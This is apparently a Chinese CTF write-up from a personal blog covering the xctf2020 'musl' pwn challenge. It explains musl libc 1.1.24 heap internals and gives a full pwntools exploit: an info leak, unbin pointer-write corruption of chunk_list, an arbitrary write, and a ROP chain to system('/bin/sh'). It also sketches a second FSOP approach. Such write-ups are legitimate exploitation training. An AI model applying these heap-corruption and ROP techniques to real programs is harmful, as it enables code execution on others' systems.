Lingze's blog Lingze's blog
timeline
about
friends
categories
tags

lingze

bin不是垃圾桶的意思!
timeline
about
friends
categories
tags
  • ctf_wp
  • xctf
lingze
2021-10-18
目录

xctf2020_musl

# xctf2020-pwn musl题解

题目是xctf2020 高校联合抗疫pwn musl题目, 题目文件 (opens new window),

  • 题目分析
    • 程序分析
    • 保护机制
    • libc
  • musl libc 1.1.24
    • 整体思路
    • 结构
    • malloc实现
    • free实现
  • 解题
    • leak+unbin+rop
    • leak+unbin+fake_bin+FSOP

# 题目分析

首先是分析下程序和相关环境,

# 程序分析

菜单堆题, 提供了比较标准的add, dele, edit, show功能,

add中可以使用一次溢出,

image-20210909205614639

show功能只能使用一次,

image-20210909205722767

封装了一层类似puts的函数, 打印strlen长度, 可能存在泄漏,

image-20210909205857859

但是读取数据是封装了一层read, 回车符会转化为'\x00',

image-20210909205926892

# 保护机制

除了pie都全开,

image-20210909210019860

# libc

这个题目值得注意的是, 他使用musllibc, 版本是1.1.24

image-20210909210723051

可以在musllibc官网找到源码, 使用git checkout v1.1.24切换版本, 堆分配器部分的代码主要在./src/malloc/malloc.c里面,

# musl libc 1.1.24

# 整体思路

首先是基本的用户使用的内存称为chunk, 使用psize和csize代表上个chunk和本chunk的size, 然后是free状态下的next和prev指针, 同时这一部分也复用作为malloc状态下的用户空间,

然后free状态下, 使用双重指针链接到bin, bin共存在64个, 小size的bin中size差距较小, 大size的bin中size差距较大, (可查看adjust_size函数),

有一个mal结构体, 为整个堆空间的总控制, 64个 bin就保存在这里, 然后binmaps用作标识, 其中的每一位标识对应bin是否为空,

# 结构

使用fifo的双向链表bin组织chunk, chunk的结构设计如下:

struct chunk {
	size_t psize, csize;
	struct chunk *next, *prev;
};

struct bin {
	volatile int lock[2];
	struct chunk *head;
	struct chunk *tail;
};

static struct {
	volatile uint64_t binmap;
	struct bin bins[64];
	volatile int free_lock[2];
} mal;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# malloc实现

malloc函数设计思路是, 判断大小, 过大的size使用mmap, 否则获取对应bin索引值,

然后尝试查找binmap, 查看对应的bin是否存在chunk,

如果所有bin全是空的则拓展堆空间,如果存在不为空的bin则选择大小最接近size的bin取出, 取出方式有两种,

  • 从大chunk中切割出来是pretrim函数实现,
  • 直接取出是unbin函数实现

这个两种情况分别对应小size的bin同bin下size差距比较小, 和大size的bin, 同一个bin下size差距比较大,

取出后再进行trim函数切割, 回收chunk超过需求的大小部分, 将多余部分切割出来并释放到bin中,

# free实现

首先检查double free和是否为mmap, 则使用unmmap, 否则进入__bin_chunk函数, 将对应chunk放入对应bin, 其中反复检查前后chunk是否可以合并, 期间进行unbin等操作,

# 解题

# leak+unbin+rop

其实是个非预期解法, 但是刚接触到musl libc, 思路更多还是在尝试找到熟悉的利用方案, 看到unbin函数其实和unlink宏/函数(后面改成了个函数)功能一致, 而且检测很少, 于是考虑使用类似的攻击方案,

# leak

首先是泄漏的问题, 由于输入使用my_read函数, 回车符会转义为'\x00', 于是puts就截断了,

这里关键点是想到了如果不输入回车的话就s可, 而不输入回车, 则输入的size很小, 而且配合malloc会存在最小的chunk大小, 于是add(1), 返回一个0x20chunk, 我们写入一个字节就没有回车符, 然后提前add+dele会有残留的链表地址, 可以show直接打印出来,

# unbin

其实利用这个函数, 没有检测的一个指针互写,

效果就是

static void unbin(struct chunk *c, int i)
{
	if (c->prev == c->next)
		a_and_64(&mal.binmap, ~(1ULL<<i));
	c->prev->next = c->next;
	c->next->prev = c->prev;
	c->csize |= C_INUSE;
	NEXT_CHUNK(c)->psize |= C_INUSE;
}
1
2
3
4
5
6
7
8
9

和之前ptmalloc利用思路差不多, 我们leak以后可以得到chunk_list的地址,

那么直接利用指针互写, 向chunk_list里面写入一个chunk_list的地址,

伪造chunk的话仍然是类似ptmalloc的思路, 同时可以配合前面leak的堆风水, 进行排布,

这里要注意的另一个问题是chunk_list是一个结构如下的结构体数组, 要注意edit函数对size有检测, unbin写入指针需要注意偏移一下, 避开size:

​ image-20210909230956157

image-20210909231111895

向chunk_list写入chunk_list自身指针以后, 就可以直接修改整个chunk_list比较完美的实现任意地址写, 然后这个musl libc没有常见的hook位, 直接打印environ打印出stack值, 直接写rop了

# rop

没写过musllibc开发程序, 这个程序内也没常见的几个gadget, 直接在libc找到了个poprdi, 然后可以直接system(binsh), 就ok了,

# exp

from pwn import * 

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

cn = process("./bin")

cmd = '''
'''

dbg = lambda : gdb.attach(cn, cmd)
sl  = lambda x: cn.sendline(x)
sla = lambda a, b: cn.sendlineafter(a, b)
sa  = lambda a, b: cn.sendafter(a,  b)
ru  = lambda a: cn.recvuntil(a)
re = lambda a: cn.recv(a)

def add(size, flag='n', con='a'):
	sla(">", '1')
	sla("? >", str(size))
	sla("? >", flag)
	sla("sleeve >", con)

def edit(idx, con):
	sla(">", '3')
	sla("? >", str(idx))
	sl(con)

def show(idx):
	sla(">", '4')
	sla("? >", str(idx))

def dele(idx):
	sla(">", '2')
	sla("? >", str(idx))

def exp():
	add(0x20)	# 0
	add(0x20)	# 1
	add(0x20)	# 2
	add(0x20)	# 3

	'''
	heap:
		0x40: chunk0
		0x40: chunk1
		0x40: chunk2
		0x40: chunk3
	'''

	dele(0)
	dele(1)
	add(1, 'n', '\x50')	# 0
	show(0)
	leak = u64(re(6).ljust(8, b'\x00'))
	libc = leak - 0x292e50 + 0x300
	environ = libc + 0x294fd8
	chunk_list = libc + 0x290000

	dele(0)

	'''
	heap:
		0x40: chunk0
		0x40: chunk1
		0x40: chunk2
		0x40: chunk3
		topchunk
	'''

	fake_chunk = flat(0x1, 0x70, chunk_list+0x8, chunk_list+0x8).ljust(0x70, b'\x00')
	add(0x70, 'Y', flat(fake_chunk, 0x70, 0x41)) # 0
	'''
	heap:
		0x80: 
			0x70: fake_chunk free
		0x40: chunk2
		0x40: chunk3
		topchunk
	'''

	# add(0x70) # 0
	add(0x70) # for chunk_list[1].size 
	
	dele(2)  # unbin 

	check_show = 0x0000000000602034
	# chunk_list[1].chunk = &chunk_list 
	edit(1, flat(environ, 0x70, chunk_list, 0x70, check_show))
	'''
	chunk_list
		0x70, environ, 
		0x70, chunk_list, 
		0x70, check_show
	'''
	edit(2, p32(0))
	# check_show = 0
	show(0)
	# show(chunk_list[0] = environ)
	stack = u64(re(6).ljust(8, b'\x00'))
	print('stack', hex(stack))

	edit(1, flat(0x70, stack - 0x70))
	'''
	chunk_list
		0x70, rop_stack, 
	'''
	poprdi = 0x14862 + libc 
	binsh  = 0x91345 + libc
	system = 0x42688 + libc
	edit(0, flat(
		poprdi, binsh, system))	


exp()
cn.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118

# leak+unbin+fake_bin+FSOP

主要是对于musl libc的利用, 复现来自题目作者文章 (opens new window),

# leak

leak部分和前面一样, 但是作者提到, 堆块本身就链接在链表中, 于是可以直接add(1)的形式泄漏,

# unbin

仍然是, 经典的指针互写,

  • *(uint64_t*)(prev + 2) = next
  • *(uint64_t*)(next + 3) = prev

这里的思路就是攻击链表结构, 利用这个unbin操作, 修改mal.bin[i]->head, 然后控制bin链表, 实现任意地址写,

上次更新: 6/24/2025, 5:07:55 AM
Theme by Vdoing | Copyright © 2019-2025 lingze | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式